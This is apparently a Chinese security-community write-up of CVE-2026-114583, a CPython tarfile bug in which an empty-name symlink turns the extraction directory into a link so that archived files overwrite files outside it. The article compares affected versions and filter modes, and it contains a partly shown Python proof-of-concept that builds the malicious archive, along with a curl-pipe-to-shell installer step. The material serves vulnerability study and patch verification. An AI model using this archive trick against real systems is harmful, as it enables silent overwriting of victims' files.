安全攻防
morning
CVE-2026-114583:CPython tarfile空名符号链接绕过解包目录
摘要
解包一个看起来完全正常的 tar,解完之后目标目录本身变成了一条指向别处的符号链接,归档里那个普普通通的 txt 文件落在了目录之外,把外部同名文件覆盖掉。全程没有报错, extractall() 正常返回。 凑齐这条链只需要两样东西:一条 名字是空串 的符号链接,加一个普通文件成员。 CPython 的 tarfile 从 3.12 起提供三档过滤器, fully_trusted 什么都不查, ...
tar
python
local
bin
cpython
tarfile
dest
share
python3
import
2026-11-10
1 阅读
约10分钟阅读
先知社区
字号:
解包一个看起来完全正常的 tar,解完之后目标目录本身变成了一条指向别处的符号链接,归档里那个普普通通的 txt 文件落在了目录之外,把外部同名文件覆盖掉。全程没有报错, extractall() 正常返回。 凑齐这条链只需要两样东西:一条 名字是空串 的符号链接,加一个普通文件成员。 CPython 的 tarfile 从 3.12 起提供三档过滤器, fully_trusted 什么都不查, tar 查结构性越界, data 在 tar 之上再剥掉危险元数据,3.14.0 起默认走 data 。CVE-2026-114583 打穿的就是这道阀,而且穿得极不对称:3.13.12 和 3.13.13 四档全失,3.13.14 起 data 能挡但 tar 漏,3.13.18 把 tar 补上了而默认档照旧中招,3.14.9 反过来默认安全、显式写 tar 仍然漏。 CVE-2026-114583 · cve.org (CNA python.org,PUBLISHED 2026-10-22T20:57Z)| NVD | CPython 文档 · tarfile Extraction filters 更麻烦的是它修完之后的样子。3.13.18 确实发了补丁,但只要代码沿用 extractall(dest) 这种最常见写法,PoC 照样百分百成功。补丁存在,只是默认调用路径根本不经过它。 修复版本发布说明: Python 3.13.18 | Python 3.14.10 漏洞现象:解包后目标目录被替换成符号链接 整条攻击链只有四步,每一步都很平淡,合起来才构成越界。 被换掉的不是某个文件,而是 解包的根目录本身 。一旦 dest 变成链接,后续每一个在字面上合法的 dest/xxx 路径,都会被内核解析到外部去。 环境搭建:四个 CPython 版本并存 复现需要能在同一台机器上并存几个小版本,方便在打穿版本和拦截版本之间来回对照。 # 装 uv,它只负责拉取解释器,不参与解包 curl -LsSf https://astral.sh/uv/install.sh | sh export PATH="$HOME/.local/bin:$PATH" # 让 uv 在当前 shell 立即可用 # 拉四个小版本:两个尚未修复完的、两个修复版 uv python install 3.13.17 3.13.18 3.14.9 3.14.10 ls -d ~/.local/share/uv/python/*/ # 确认目录名,下面拼绝对路径要用 其中 cpython-3.13 和 cpython-3.14 是 uv 生成的别名,指向具体的补丁版本。后面统一用绝对路径调用,避开 PATH 干扰: # 四个解释器的绝对路径,后文所有命令一律用这些变量调用 PY31317=~/.local/share/uv/python/cpython-3.13.17-linux-x86_64-gnu/bin/python3 PY31318=~/.local/share/uv/python/cpython-3.13.18-linux-x86_64-gnu/bin/python3 PY31409=~/.local/share/uv/python/cpython-3.14.9-linux-x86_64-gnu/bin/python3 PY31410=~/.local/share/uv/python/cpython-3.14.10-linux-x86_64-gnu/bin/python3 漏洞复现:一份两成员归档打穿 extractall 归档也不用真实打包工具生成, tarfile 自己写两个成员即可。 脚本 cve-2026-114583-poc.py 同时干三件事:造归档、解包、验证结果。 #!/usr/bin/env python3 import io import os import sys import tarfile import tempfile EVIL_NAME = "secret.txt" # 第二个成员的文件名,最终落点由 dest 是否被换成链接决定 ATTACK_BODY = b"ATTACKED\n" # 攻击者要写进外部文件的内容 VICTIM_BODY = "ORIGINAL\n" # 外部文件的原始内容,用来判断有没有被改写 def build_evil_tar(tar_path): """造 evil.tar:一条空名符号链接 + 一个普通文件,顺序不能颠倒。""" # 成员 1:name 为空串的符号链接,linkname 指向与 dest 同级的 outside link = tarfile.TarInfo(name="") link.type = tarfile.SYMTYPE link.linkname = "outside" link.mode = 0o777 link.size = 0 # 成员 2:普通文件,解包时顺着已经被换成链接的 dest 写到外部 regular = tarfile.TarInfo(name=EVIL_NAME) regular.type = tarfile.REGTYPE regular.mode = 0o644 regular.size = len(ATTACK_BODY) with tarfile.open(tar_path, "w") as tf: tf.addfile(link) tf.addfile(regular, io.BytesIO(ATTACK_BODY)) def prepare_workspace(): """备三个路径:临时根目录、待解包的 dest(故意不创建)、受害者目录 outside。""" work = tempfile.mkdtemp(prefix="cve114583_") dest = os.path.join(work, "dest") # 关键前提:dest 事先不存在 outside = os.path.join(work, "outside") os.makedirs(outside) victim = os.path.join(outside, EVIL_NAME) with open(victim, "w", encoding="utf-8") as f: f.write(VICTIM_BODY) return work, dest, victim def unpack(tar_path, dest, flt): """按指定过滤器解包;flt 为 None 时不传参数,落到该版本的默认过滤器。""" with tarfile.open(tar_path) as tf: if flt is None: tf.extractall(dest) else: tf.extractall(dest, filter=flt) def report(dest, victim): """解包后只查两件事:dest 是不是链接、外部文件内容有没有变。""" if os.path.islink(dest): print("
这篇文章对您有帮助吗?
订阅66必读
每日精选科技资讯,直达你的邮箱